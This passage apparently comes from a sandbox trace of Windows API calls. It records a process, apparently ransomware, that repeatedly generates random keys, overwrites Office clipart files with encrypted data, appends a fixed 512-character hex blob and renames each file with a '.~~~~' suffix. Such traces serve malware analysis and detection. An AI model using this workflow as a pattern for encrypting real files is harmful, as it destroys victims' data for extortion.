	[0111.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f958 | out: hHeap=0x300000) returned 1
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c8fc0
	[0111.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28312e8
	[0111.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8fc0 | out: hHeap=0x300000) returned 1
	[0111.414] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.414] GetLastError () returned 0x0
	[0111.414] GetLastError () returned 0x0
	[0111.414] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.414] GetLastError () returned 0x0
	[0111.414] GetLastError () returned 0x0
	[0111.417] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe308, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.417] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1cf8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x1cf8, lpOverlapped=0x0) returned 1
	[0111.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0111.418] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.418] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.418] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.418] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.418] CloseHandle (hObject=0x144) returned 1
	[0111.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c8f18
	[0111.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.~~~~")) returned 1
	[0111.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8f18 | out: hHeap=0x300000) returned 1
	[0111.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.420] GetLastError () returned 0x0
	[0111.420] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.421] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.421] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.422] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23141177658) returned 1
	[0111.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac027410, dwHighDateTime=0x1d60e1e)) 
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f990
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f990 | out: hHeap=0x300000) returned 1
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c8f18
	[0111.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831380
	[0111.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8f18 | out: hHeap=0x300000) returned 1
	[0111.422] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.423] GetLastError () returned 0x0
	[0111.423] GetLastError () returned 0x0
	[0111.423] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.423] GetLastError () returned 0x0
	[0111.423] GetLastError () returned 0x0
	[0111.521] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbedc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.521] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x4124, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x4124, lpOverlapped=0x0) returned 1
	[0111.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0111.522] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.522] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.522] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.522] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.522] CloseHandle (hObject=0x144) returned 1
	[0111.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.522] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.~~~~")) returned 1
	[0111.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.524] GetLastError () returned 0x0
	[0111.525] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.526] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.526] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.526] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23151661940) returned 1
	[0111.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac131db0, dwHighDateTime=0x1d60e1e)) 
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fbc0
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fbc0 | out: hHeap=0x300000) returned 1
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831418
	[0111.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.527] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.528] GetLastError () returned 0x0
	[0111.528] GetLastError () returned 0x0
	[0111.528] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.528] GetLastError () returned 0x0
	[0111.528] GetLastError () returned 0x0
	[0111.531] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff4ed4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.531] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xb12c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0xb12c, lpOverlapped=0x0) returned 1
	[0111.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.532] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.532] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.534] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.534] CloseHandle (hObject=0x144) returned 1
	[0111.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.~~~~")) returned 1
	[0111.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.535] GetLastError () returned 0x0
	[0111.536] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.537] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.537] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.537] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23152760429) returned 1
	[0111.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac157f10, dwHighDateTime=0x1d60e1e)) 
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fbf8
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fbf8 | out: hHeap=0x300000) returned 1
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831a08
	[0111.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.538] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.539] GetLastError () returned 0x0
	[0111.539] GetLastError () returned 0x0
	[0111.539] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.539] GetLastError () returned 0x0
	[0111.539] GetLastError () returned 0x0
	[0111.542] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff9fd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.542] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x6028, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x6028, lpOverlapped=0x0) returned 1
	[0111.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.544] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.544] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.544] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.544] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.544] CloseHandle (hObject=0x144) returned 1
	[0111.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.544] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.~~~~")) returned 1
	[0111.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.545] GetLastError () returned 0x0
	[0111.546] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.547] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.547] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.547] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23153897028) returned 1
	[0111.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac17e070, dwHighDateTime=0x1d60e1e)) 
	[0111.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0111.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fc30
	[0111.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fc30 | out: hHeap=0x300000) returned 1
	[0111.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831aa0
	[0111.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.550] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.550] GetLastError () returned 0x0
	[0111.551] GetLastError () returned 0x0
	[0111.551] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.551] GetLastError () returned 0x0
	[0111.551] GetLastError () returned 0x0
	[0111.554] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffef76, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.554] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x108a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x108a, lpOverlapped=0x0) returned 1
	[0111.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.555] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.555] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.555] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.555] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.556] CloseHandle (hObject=0x144) returned 1
	[0111.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.~~~~")) returned 1
	[0111.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.557] GetLastError () returned 0x0
	[0111.557] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0111.559] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.559] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0111.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0111.559] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23154934465) returned 1
	[0111.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac17e070, dwHighDateTime=0x1d60e1e)) 
	[0111.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0111.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0111.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
